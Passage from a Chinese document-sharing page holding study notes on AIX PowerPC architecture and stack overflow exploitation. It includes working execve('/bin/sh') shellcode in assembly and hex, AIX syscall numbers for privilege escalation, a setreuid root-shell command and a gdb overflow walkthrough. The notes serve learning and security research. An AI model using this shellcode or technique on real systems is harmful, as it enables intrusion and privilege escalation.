收藏 分销(赏)

AIXPowerPC标准体系结构及其溢出关键技术学习重点笔记.doc

上传人:a199****6536 文档编号:3030814 上传时间:2024-06-13 格式:DOC 页数:27 大小:74.54KB
下载 相关 举报
AIXPowerPC标准体系结构及其溢出关键技术学习重点笔记.doc_第1页
第1页 / 共27页
AIXPowerPC标准体系结构及其溢出关键技术学习重点笔记.doc_第2页
第2页 / 共27页
AIXPowerPC标准体系结构及其溢出关键技术学习重点笔记.doc_第3页
第3页 / 共27页
AIXPowerPC标准体系结构及其溢出关键技术学习重点笔记.doc_第4页
第4页 / 共27页
AIXPowerPC标准体系结构及其溢出关键技术学习重点笔记.doc_第5页
第5页 / 共27页
点击查看更多>>
资源描述

1、AIX PowerPC体系构造及其溢出技术学习笔记12月12日11:40一、熟悉PowerPC体系及其精简指令集计算PowerPC体系构造是RISC(精简指令集计算),定义了 200 多条指令。PowerPC 之因此是 RISC,因素在于大某些指令在一种单一周期内执行,并且是定长32位指令,普通只执行一种单一操作(例如将内存加载到寄存器,或者将寄存器数据存储到内存)。差不多有12种指令格式,体现为5类重要指令:1、分支(branch)指令2、定点(fixed-point)指令3、浮点(floating-point)指令4、装载和存储指令5、解决器控制指令PowerPC应用级寄存器分为三类:通用

2、寄存器(general-purpose register,GPR)、浮点寄存器(floating-point register FPR 和浮点状态与控制寄存器 Floating-Point Status and Control Register,FPSCR)和专用寄存器(special-purpose register,SPR)。gdb里info registers能看到38个寄存器,下面重要简介这几种惯用寄存器:通用寄存器用途:r0 在函数开始(function prologs)时使用。r1 堆栈指针,相称于ia32架构中esp寄存器,idapro把这个寄存器反汇编标记为sp。r2 内容表(

3、toc)指针,idapro把这个寄存器反汇编标记为rtoc。系统调用时,它包括系统调用号。r3 作为第一种参数和返回地址。r4-r10 函数或系统调用开始参数。r11 用在指针调用和当作某些语言环境指针。r12 它用在异常解决和glink(动态连接器)代码。r13 保存作为系统线程ID。r14-r31 作为本地变量,非易失性。专用寄存器用途:lr 链接寄存器,它用来存储函数调用结束处返回地址。ctr 计数寄存器,它用来当作循环计数器,会随特定转移操作而递减。xer 定点异常寄存器,存储整数运算操作进位以及溢出信息。msr 机器状态寄存器,用来配备微解决器设定。cr 条件寄存器,它提成8个4位字

4、段,cr0-cr7,它反映了某个算法操作成果并且提供条件分支机制。寄存器r1、r14-r31是非易失性,这意味着它们值在函数调用过程保持不变。寄存器r2也算非易失性,但是只有在调用函数在调用后必要恢复它值时才被解决。寄存器r0、r3-r12和特殊寄存器lr、ctr、xer、fpscr是易失性,它们值在函数调用过程中会发生变化。此外寄存器r0、r2、r11和r12也许会被交叉模块调用变化,因此函数在调用时候不能采用它们值。条件代码寄存器字段cr0、cr1、cr5、cr6和cr7是易失性。cr2、cr3和cr4是非易失性,函数如果要变化它们必要保存并恢复这些字段。在AIX上,svca指令(sc是P

5、owerPC助记符)用来表达系统调用,r2寄存器指定系统调用号,r3-r10寄存器是给该系统调用参数。在执行系统调用指令之前有两个额外先决条件:LR寄存器必要保存返回系统调用地址值并且在系统调用前执行crorc cr6,cr6,cr6指令。二、学习AIX PowerPC汇编由于对AIX PowerPC汇编很不熟,因此借助gcc-S来学习一下AIX汇编。二进制gcc可以从。先写一种最小C程序:/* setuid.c* Learn AIX PowerPC assemble*/#include ;int main() setuid(0);用gcc-S选项编译一下:bash-2.04$ gcc -S

6、setuid.c在当前目录得到setuid.s: .file setuid.c.toc.csect .textPRgcc2_compiled.:_gnu_compiled_c: .align 2 .globl main .globl .main.csect mainDSmain: .long .main,TOCtc0,0.csect .textPR.main: .extern _mulh .extern _mull .extern _divss .extern _divus .extern _quoss .extern _quous mflr 0 stw 31,-4(1) stw 0,8(1)

7、 stwu 1,-64(1) mr 31,1 bl ._main cror 31,31,31 li 3,0 bl .setuid cror 31,31,31L.2: lwz 1,0(1) lwz 0,8(1) mtlr 0 lwz 31,-4(1) blrLT.main: .long 0 .byte 0,0,32,97,128,1,0,1 .long LT.main-.main .short 4 .byte main .byte 31_section_.text:.csect .dataRW,3 .long _section_.text通过精简,发现如下这样格式就足够了:.globl .mai

8、n.csect .textPR.main: mflr 0 stw 31,-4(1) stw 0,8(1) stwu 1,-64(1) mr 31,1 bl ._main cror 31,31,31 li 3,0 bl .setuid cror 31,31,31L.2: lwz 1,0(1) lwz 0,8(1) mtlr 0 lwz 31,-4(1) blr三、学习AIX PowerPCshellcodeB-r00tPowerPC/OS X (Darwin) Shellcode Assembly写非常通俗易懂,只可惜是OS X系统,但是当前咱们也可以依样画葫芦了:bash-2.04$ cat

9、simple_execve.s.globl .main.csect .textPR.main: xor. %r5,%r5,%r5 # 把r5寄存器清空,并且在cr寄存器设立相等标志 bnel .main # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环 mflr %r3 # 等价于mfspr r3,8,把lr寄存器值拷贝到r3。这里r3寄存器值就是这条指令地址 addi %r3,%r3,32 # 上一条指令到/bin/sh字符串有8条指令,当前r3是/bin/sh字符串开始地址 stw %r3,-8(%r1) # argv0 = string 把r3写入堆栈 s

10、tw %r5,-4(%r1) # argv1 = NULL 把0写入堆栈 subi %r4,%r1,8 # r4指向argv li %r2,3 # AIX 4.3execve中断号是3 crorc %cr6,%cr6,%cr6 # 这个环境不加这条指令也能成功,lsd和IBM Aix PowerPC Assemblersvc指令简介都提到成功执行系统调用前提是一种无条件分支或CR指令。这条指令保证是CR指令。 svca 0 # execve(r3,r4,r5)string: # execve(path,argv,NULL) .asciz /bin/shbash-2.04$ gcc -o sim

11、ple_execve simple_execve.sbash-2.04$ ./simple_execve$对的执行了execve,用objdump查看一下它opcode:bash-2.04$ objdump -d simple_execve|more0308 ;: 10000308: 7c a5 2a 79 xor. r5,r5,r5 1000030c: 40 82 ff fd bnel 10000308 ; 10000310: 7c 68 02 a6 mflr r3 10000314: 38 63 00 20 cal r3,32(r3) 10000318: 90 61 ff f8 st r3

12、,-8(r1) 1000031c: 90 a1 ff fc st r5,-4(r1) 10000320: 38 81 ff f8 cal r4,-8(r1) 10000324: 38 40 00 03 lil r2,3 10000328: 4c c6 33 42 crorc 6,6,6 1000032c: 44 00 00 02 svca 0 10000330: 2f 62 69 6e cmpi 6,r2,26990 10000334: 2f 73 68 00 cmpi 6,r19,26624可以看到有好几条指令opcode包括了0,这对于strcpy等字符串操作函数导致溢出会被截断,因此需要

13、编码或者相应指令替代。但是咱们注意到svca指令中间两个字节包括了0,幸好这两个字节是保存字段,并没有被使用,可以用非0字节代替。PowerPC空指令nopopcode是0x60000000,背面三个字节0也是保存项,也可以用0x60606060来代替。lsd提供了一种可用shellcode:/* shellcode.c* ripped from lsd*/char shellcode = /* 12*4+8 bytes */ x7cxa5x2ax79 /* xor. r5,r5,r5 */ x40x82xffxfd /* bnel ; */ x7fxe8x02xa6 /* mflr r31

14、*/ x3bxffx01x20 /* cal r31,0x120(r31) */ x38x7fxffx08 /* cal r3,-248(r31) */ x38x9fxffx10 /* cal r4,-240(r31) */ x90x7fxffx10 /* st r3,-240(r31) */ x90xbfxffx14 /* st r5,-236(r31) */ x88x5fxffx0f /* lbz r2,-241(r31) */ x98xbfxffx0f /* stb r5,-241(r31) */ x4cxc6x33x42 /* crorc cr6,cr6,cr6 */ x44xffxf

15、fx02 /* svca */ /bin/sh x03 ;int main(void) int jump2=(int)shellcode,0; (*(void (*)()jump)();编译后,用IDAPro反汇编,在Names window点击shellcode,并且按c强制反汇编:.data:06D8 shellcode: # CODE XREF:.data:06DCp.data:06D8 # DATA XREF:.data:shellcode_TCo.data:06D8 7C A5 2A 79 xor. r5,r5,r5 # 把r5寄存器清空,并且在cr寄存器设立相等标志.data:06

16、DC 40 82 FF FD bnel shellcode # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环.data:06E0 7F E8 02 A6 mflr r31 # 等价于mfspr r31,8,这里把lr寄存器值拷贝到r31.data:06E4 3B FF 01 20 addi r31,r31,0x120 # r31等于.data:0800.data:06E8 38 7F FF 08 subi r3,r31,0xF8 # r3等于.data:0708.data:06EC 38 9F FF 10 subi r4,r31,0xF0 # r4等于.data

17、:0710.data:06F0 90 7F FF 10 stw r3,-0xF0(r31) # 把地址.data:0708放到.data:0710.data:06F4 90 BF FF 14 stw r5,-0xEC(r31) # 把0放到.data:0714.data:06F8 88 5F FF 0F lbz rtoc,-0xF1(r31) # 读入execve中断号到r2寄存器.data:06FC 98 BF FF 0F stb r5,-0xF1(r31) # .data:070F写入一种字节0.data:0700 4C C6 33 42 crorc 4*cr1+eq,4*cr1+eq,4

18、*cr1+eq # Condition Register OR with Comlement.data:0700 # 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?.data:0704 44 .byte 0x44 # execve(r3,r4,r5).data:0705 FF .byte 0xFF # execve(path,argv,NULL).data:0706 FF .byte 0xFF.data:0707 02 .byte 2.data:0708 2F .byte 0x2F # /.data:0709 62 .byte 0x62 # b.data:070A

19、 69 .byte 0x69 # i.data:070B 6E .byte 0x6E # n.data:070C 2F .byte 0x2F # /.data:070D 73 .byte 0x73 # s.data:070E 68 .byte 0x68 # h.data:070F 03 .byte 3至此,咱们理解了AIX PowerPC下如何简朴调试shellcode。有一种很大问题,AIX各系统调用号随系统版本不断变化,这给写通用shellcode导致很大困难,watercloud整顿过各系统版本一某些系统调用号7:Aix5.1 seteuid 0xb6 setreuid 0xb7 exe

20、cve 0x5Aix4.3 seteuid 0x92 setreuid 0x96 execve 0x3 Aix4.3.3 seteuid 0x92/0x93 setuid 0x93/0x94 setreuid 0x96/0x97 execve 0x4/0x3Aix4.2 setuid 0x71 execve 0x2Aix4.3 setregid:?Aix4.3.3 setregid:248/247Aix5.1 setregid:?Aix5.2 execve:? setreuid:?setregid:?这个表并不是很全,有环境朋友可以继续修改补全。此外Aix提供了一种syscall命令,如果咱们

21、拿到了euid=0就权限可以这样使得uid=0了:/usr/bin/syscall setreuid 0 0 ;execve /bin/sh四、学习AIX PowerPC溢出技术要学习溢出技术就必要理解堆栈构造,PowerPC堆栈构造和ia32有很大不同,PowerPC没有类似ia32里ebp这个指针,它只使用r1寄存器把整个堆栈构成一种单向链表,其增长方向是从高地址到低地址,而本地变量增长方向也是从低地址到高地址,这就给溢出获得控制技术提供了保证。32位PowerPC堆栈构造如下图: . 调用前堆栈 . . 调用后堆栈 . . . . . | | | | +-+- +-+- | Parame

22、ter area | | | Parameter area | | +-+ +-调用函数 +-+ +-调用函数 | Linkage area | | | Linkage area | |SP -;+-+- +-+- | 堆栈增长方向 | | Saved registers| | . | . +-+ | . v . | Local variables| | +-+ +-被调函数 | Parameter area | | +-+ | | Linkage area | | SP -;+-+- | 堆栈增长方向 | . | . . v .每个PowerPC栈帧数据包括4个某些:链接区、参数区、本地变量

23、和寄存器区。链接区保存了被调函数和调用函数某些值,它构造如下: +24+-+ | Saved TOC | +20+-+ | Reserved | +16+-+ | Reserved | +12+-+ | Saved LR | +8+-+ | Saved CR | +4+-+ | Saved SP |SP -;+-+被调函数链接寄存器(LR)保存到8(SP)。被调函数也许把条件寄存器(CR)保存到4(SP),如果链接寄存器已经保存,这也就没有必要了。堆栈指针永远保存调用函数栈帧,这样被调函数就可以找到调用函数参数区,但是这也意味着PowerPC不也许有push和pop这样对堆栈操作。全局链接代码

24、会把TOC指针保存到20(SP)地方。参数区用来传递其他被调函数参数。当前函数参数是通过上一函数(调用者)参数区和被设计用来传递参数通用寄存器中获取。如果本地变量太多,无法在非易失性寄存器中存储,那么就会使用基于堆栈本地变量。它大小在编译时候拟定,是不可修改。寄存器区包括非易失性寄存器值。当被调函数使用这些寄存器作为本地变量,而调用函数也许会用到同样寄存器,那么这些寄存器信息需要在调用函数修改它们之前保存。固然,被调函数返回时候需要恢复这些寄存器值。ia32中当函数返回时,普通均有如下三条指令:mov esp,ebp ;堆栈指针esp指向前一种栈帧pop ebpret ;执行esp+4保存返回

25、地址AIX PowerPC中当函数返回时,普通有如下几条指令:lwz r1,0(r1) # 堆栈指针r1指向前一种栈帧lwz r0,8(r1) # r0等于堆栈里保存lr值mtlr r0 # lr=r0lwz r31,-4(r1) # blr # 跳到lr执行可以看到虽然AIX PowerPC堆栈构造和ia32不同,但是溢出技术手法是同样。ia32是覆盖当前ebp+4保存返回地址,当函数返回时候就会跳到咱们指定地址执行;AIX PowerPC要覆盖到下一种栈帧保存lr地址,当函数返回时候也会跳到咱们指定地址执行。文字描述无法实际理解,自己动手一下才会真正领略,下面用一种简朴程序走一遍流程:ba

26、sh-2.04$ cat simple_overflow.c/* simple_overflow.c* Simple program to demonstrate buffer overflows* on the PowerPC architecture.*/#include ;#include ;char largebuff =3456=PRESERVEDSPACE=ABCD;int main (void) char smallbuff16; strcpy (smallbuff,largebuff);bash-2.04$ gcc -o simple_overflow simple_overf

27、low.cbash-2.04$ gdb simple_overflowGNU gdb 5.0Copyright Free Software Foundation,Inc.GDB is free software,covered by the GNU General Public License,and you arewelcome to change it and/or distribute copies of it under certain conditions.Type show copying to see the conditions.There is absolutely no w

28、arranty for GDB. Type show warranty for details.This GDB was configured as powerpc-ibm-aix4.3.2.0.(gdb) rStarting program:/home/san/simple_overflowProgram received signal SIGSEGV,Segmentation fault.0x41424344 in ?() from (unknown load module)(gdb) i regr0 0x41424344 r1 0x2ff22ba0 r2 0x0790 r3 0x2ff2

29、2b88 r4 0x0734 r5 0x2ff22bac r6 0x0 0r7 0x0 0r8 0x0 0r9 0x80808080 -r10 0x7f7f7f7f r11 0x4 4r12 0x80808080 -r13 0xdeadbeef -r14 0x1 1r15 0x2ff22be8 r16 0x2ff22bf0 r17 0x0 0r18 0xdeadbeef -r19 0xdeadbeef -r20 0xdeadbeef -r21 0xdeadbeef -r22 0xdeadbeef -r23 0xdeadbeef -r24 0xdeadbeef -r25 0xdeadbeef -

30、r26 0xdeadbeef -r27 0xdeadbeef -r28 0xdeadbeef -r29 0xdeadbeef -r30 0xdeadbeef -r31 0x53455256 pc 0x41424344 ps 0x4000d030 cr 0x22222242 lr 0x41424344 ctr 0x4 4xer 0x0 0pc寄存器已经被覆盖为ABCD,跟着程序一步步走走,看看pc是怎么变为ABCD:(gdb) disas mainDump of assembler code for function main:0x10000308 ;: mflr r00x1000030c ;:

31、 stw r31,-4(r1)0x10000310 ;: stw r0,8(r1)0x10000314 ;: stwu r1,-80(r1)0x10000318 ;: mr r31,r10x1000031c ;: bl 0x100004c8 ;0x10000320 ;: crmove 4*cr7+so,4*cr7+so0x10000324 ;: addi r3,r31,560x10000328 ;: lwz r4,32(r2)0x1000032c ;: bl 0x10000520 ;0x10000330 ;: crmove 4*cr7+so,4*cr7+so0x10000334 ;: lwz

32、r1,0(r1)0x10000338 ;: lwz r0,8(r1)0x1000033c ;: mtlr r00x10000340 ;: lwz r31,-4(r1)0x10000344 ;: blr0x10000348 ;: .long 0x00x1000034c ;: .long 0x20610x10000350 ;: lwz r0,1(r1)0x10000354 ;: .long 0x400x10000358 ;: .long 0x46d610x1000035c ;: xori r14,r11,7936End of assembler dump.(gdb) b mainBreakpoin

33、t 1 at 0x1000031c(gdb) rThe program being debugged has been started already.Start it from the beginning?(y or n) yStarting program:/home/san/simple_overflowBreakpoint 1,0x1000031c in main ()(gdb) display/i $pc1:x/i $pc 0x1000031c ;: bl 0x100004c8 ;(gdb) ni0x10000320 in main ()1:x/i $pc 0x10000320 ;:

34、 crmove 4*cr7+so,4*cr7+so(gdb) x/20x $r10x2ff22b50: 0x2ff22ba0 0x00000000 0x10000320 0x000000000x2ff22b60: 0x2ff22ba0 0x00000000 0x00000000 0x000000000x2ff22b70: 0x00000000 0x00000000 0x00000000 0x000000000x2ff22b80: 0x00000000 0x00000000 0x00000000 0x000000000x2ff22b90: 0x00000000 0x00000000 0x00000000 0xdeadbeef(gdb)

展开阅读全文
部分上传会员的收益排行 01、路***(¥15400+),02、曲****(¥15300+),
03、wei****016(¥13200+),04、大***流(¥12600+),
05、Fis****915(¥4200+),06、h****i(¥4100+),
07、Q**(¥3400+),08、自******点(¥2400+),
09、h*****x(¥1400+),10、c****e(¥1100+),
11、be*****ha(¥800+),12、13********8(¥800+)。
相似文档                                   自信AI助手自信AI助手
百度文库年卡

猜你喜欢                                   自信AI导航自信AI导航
搜索标签

当前位置:首页 > 包罗万象 > 大杂烩

移动网页_全站_页脚广告1

关于我们      便捷服务       自信AI       AI导航        获赠5币

©2010-2024 宁波自信网络信息技术有限公司  版权所有

客服电话:4008-655-100  投诉/维权电话:4009-655-100

gongan.png浙公网安备33021202000488号   

icp.png浙ICP备2021020529号-1  |  浙B2-20240490  

关注我们 :gzh.png    weibo.png    LOFTER.png 

客服